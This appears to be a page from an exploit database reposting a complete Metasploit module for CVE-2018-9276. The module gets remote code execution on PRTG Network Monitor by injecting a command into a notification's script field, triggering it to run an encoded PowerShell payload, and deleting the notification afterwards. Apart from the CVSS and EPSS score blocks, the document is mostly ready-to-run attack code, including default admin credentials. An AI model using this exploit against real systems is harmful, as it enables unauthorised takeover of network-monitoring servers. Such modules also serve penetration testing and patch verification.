Lucene search

K
zdtMetasploit1337DAY-ID-35750
HistoryJan 28, 2021 - 12:00 a.m.

PRTG Network Monitor Remote Code Execution Exploit

2021-01-2800:00:00
metasploit
0day.today
173

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.537 Medium

EPSS

Percentile

97.6%

This Metasploit module exploits an authenticated remote code execution vulnerability in PRTG Network Monitor. Notifications can be created by an authenticated user and can execute scripts when triggered. Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user. The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform remote code execution using a Powershell payload. It may require a few tries to get a shell because notifications are queued up on the server. This vulnerability affects versions prior to 18.2.39.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "PRTG Network Monitor Authenticated RCE",
      'Description'    => %q{
        Notifications can be created by an authenticated user and can execute scripts when triggered.
        Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user.
        The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform RCE using a Powershell payload.
        It may require a few tries to get a shell because notifications are queued up on the server.
        This vulnerability affects versions prior to 18.2.39. See references for more details about the vulnerability allowing RCE.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Josh Berry <josh.berry[at]codewatch.org>', # original discovery
          'Julien Bedel <contact[at]julienbedel.com>', # module writer
        ],
      'References'     =>
        [
          ['CVE', '2018-9276'],
          ['URL', 'https://www.codewatch.org/blog/?p=453']
        ],
      'Platform'       => 'win',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'WfsDelay' => 30 # because notification triggers are queuded up on the server
      },
      'DisclosureDate' => '2018-06-25'))

    register_options(
      [
        OptString.new('ADMIN_USERNAME', [true, 'The username to authenticate as', 'prtgadmin']),
        OptString.new('ADMIN_PASSWORD', [true, 'The password for the specified username', 'prtgadmin'])
      ]
    )
  end

  def prtg_connect
    begin
      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),
        'vars_post' => {
          'loginurl' => '',
          'username' => datastore['ADMIN_USERNAME'],
          'password' => datastore['ADMIN_PASSWORD']
        }
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Failed to reach remote host')
    ensure
      disconnect
    end

    if res && res.code == 302 && res.headers['LOCATION'] == '/home' && res.get_cookies
      @cookies = res.get_cookies.to_s
      print_good('Successfully logged in with provided credentials')
      vprint_status("Session cookies : #{@cookies}")
    else
      fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface')
    end

  end

  def prtg_create_notification(cmd)
    uri = datastore['URI']

    begin
      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => normalize_uri(uri, 'editsettings'),
        'cookie'   => @cookies,
        'headers'  => {
          'X-Requested-With' => 'XMLHttpRequest'
        },
        'vars_post' => {
          'name_' => Rex::Text.rand_text_alphanumeric(4..24),
          'active_' => '1',
          'schedule_' => '-1|None|',
          'postpone_' => '1',
          'summode_' => '2',
          'summarysubject_' => '[%sitename] %summarycount Summarized Notifications',
          'summinutes_' => '1',
          'accessrights_' => '1',
          'accessrights_201' => '0',
          'active_1' => '0',
          'addressuserid_1' => '-1',
          'addressgroupid_1' => '-1',
          'subject_1' => '[%sitename] %device %name %status %down (%message)',
          'contenttype_1' => 'text/html',
          'priority_1' => '0',
          'active_17' => '0',
          'addressuserid_17' => '-1',
          'addressgroupid_17' => '-1',
          'message_17' => '[%sitename] %device %name %status %down (%message)',
          'active_8' => '0',
          'addressuserid_8' => '-1',
          'addressgroupid_8' => '-1',
          'message_8' => '[%sitename] %device %name %status %down (%message)',
          'active_2' => '0',
          'eventlogfile_2' => 'application',
          'sender_2' => 'PRTG Network Monitor',
          'eventtype_2' => 'error',
          'message_2' => '[%sitename] %device %name %status %down (%message)',
          'active_13' => '0',
          'syslogport_13' => '514',
          'syslogfacility_13' => '1',
          'syslogencoding_13' => '1',
          'message_13' => '[%sitename] %device %name %status %down (%message)',
          'active_14' => '0',
          'snmpport_14' => '162',
          'snmptrapspec_14' => '0',
          'messageid_14' => '0',
          'message_14' => '[%sitename] %device %name %status %down (%message)',
          'active_9' => '0',
          'urlsniselect_9' => '0',
          'active_10' => '10',
          'address_10' => 'Demo EXE Notification - OutFile.ps1',
          'message_10' => "abcd; #{cmd}",
          'timeout_10' => '60',
          'active_15' => '0',
          'message_15' => '[%sitename] %device %name %status %down (%message)',
          'active_16' => '0',
          'isusergroup_16' => '1',
          'addressgroupid_16' => '200|PRTG Administrators',
          'ticketuserid_16' => '100|PRTG System Administrator',
          'subject_16' => '%device %name %status %down (%message)',
          'message_16' => 'Sensor: %name\r\nStatus: %status %down\r\n\r\nDate/Time: %datetime (%timezone)\r\nLast Result: %lastvalue\r\nLast Message: %message\r\n\r\nProbe: %probe\r\nGroup: %group\r\nDevice: %device (%host)\r\n\r\nLast Scan: %lastcheck\r\nLast Up: %lastup\r\nLast Down: %lastdown\r\nUptime: %uptime\r\nDowntime: %downtime\r\nCumulated since: %cumsince\r\nLocation: %location\r\n\r\n',
          'autoclose_16' => '1',
          'objecttype' => 'notification',
          'id' => 'new',
          'targeturl' => '/myaccount.htm?tabid=2'
        }
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Failed to reach remote host')
    ensure
      disconnect
    end

    if res && res.code == 200 && res.get_json_document['objid'] && !res.get_json_document['objid'].empty?
      @objid = res.get_json_document['objid']
      print_good("Created malicious notification (objid=#{@objid})")
      vprint_status("Payload : #{cmd}")
    else
      fail_with(Failure::Unknown, 'Failed to create malicious notification')
    end

  end

  def prtg_trigger_notification
    uri = datastore['URI']

    begin
      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => normalize_uri(uri, 'api', 'notificationtest.htm'),
        'cookie'   => @cookies,
        'headers'  => {
          'X-Requested-With' => 'XMLHttpRequest'
        },
        'vars_post' => {
          'id' => @objid
        }
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Failed to reach remote host')
    ensure
      disconnect
    end

    if res && res.code == 200 && (res.to_s.include? 'EXE notification is queued up')
      print_good('Triggered malicious notification')
    else
      fail_with(Failure::Unknown, 'Failed to trigger malicious notification')
    end

  end

  def prtg_delete_notification
    uri = datastore['URI']

    begin
      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => normalize_uri(uri, 'api', 'deleteobject.htm'),
        'cookie'   => @cookies,
        'headers'  => {
          'X-Requested-With' => 'XMLHttpRequest'
        },
        'vars_post' => {
          'id' => @objid,
          'approve' => '1'
        }
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Failed to reach remote host')
    ensure
      disconnect
    end

    if res
      print_good('Deleted malicious notification')
    else
      fail_with(Failure::Unknown, 'Failed to delete malicious notification')
    end

  end

  def check
    begin
      res = send_request_cgi({
        'method'   => 'GET',
        'uri'      => normalize_uri(datastore['URI'], '/index.htm')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    ensure
      disconnect
    end

    if res && res.code == 200
      # checks for PRTG version in http headers first, if not found looks for it in html
      version_match = /\d{1,2}\.\d{1}\.\d{1,2}\.\d*/
      prtg_server_header = res.headers['Server']
      if prtg_server_header && prtg_server_header =~ version_match
        prtg_version = prtg_server_header[version_match]
      else
        html = res.get_html_document
        prtg_version_html = html.at('span[@class="prtgversion"]')
        if prtg_version_html && prtg_version_html.text =~ version_match
          prtg_version = prtg_version_html.text[version_match]
        end
      end

      if prtg_version
        vprint_status("Identified PRTG Network Monitor Version #{prtg_version}")
        if Gem::Version.new(prtg_version) < Gem::Version.new('18.2.39')
          return CheckCode::Appears
        else
          return CheckCode::Safe
        end
      elsif (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')
        return CheckCode::Detected
      end
    end

    return CheckCode::Unknown
  end

  def exploit
    powershell_options = {
      #method: 'direct',
      remove_comspec: true,
      wrap_double_quotes: true,
      encode_final_payload: true
    }
    ps_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
    prtg_connect
    prtg_create_notification(ps_payload)
    prtg_trigger_notification
    prtg_delete_notification
    print_status("Waiting for payload execution.. (#{datastore['WfsDelay']} sec. max)")
  end

end

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.537 Medium

EPSS

Percentile

97.6%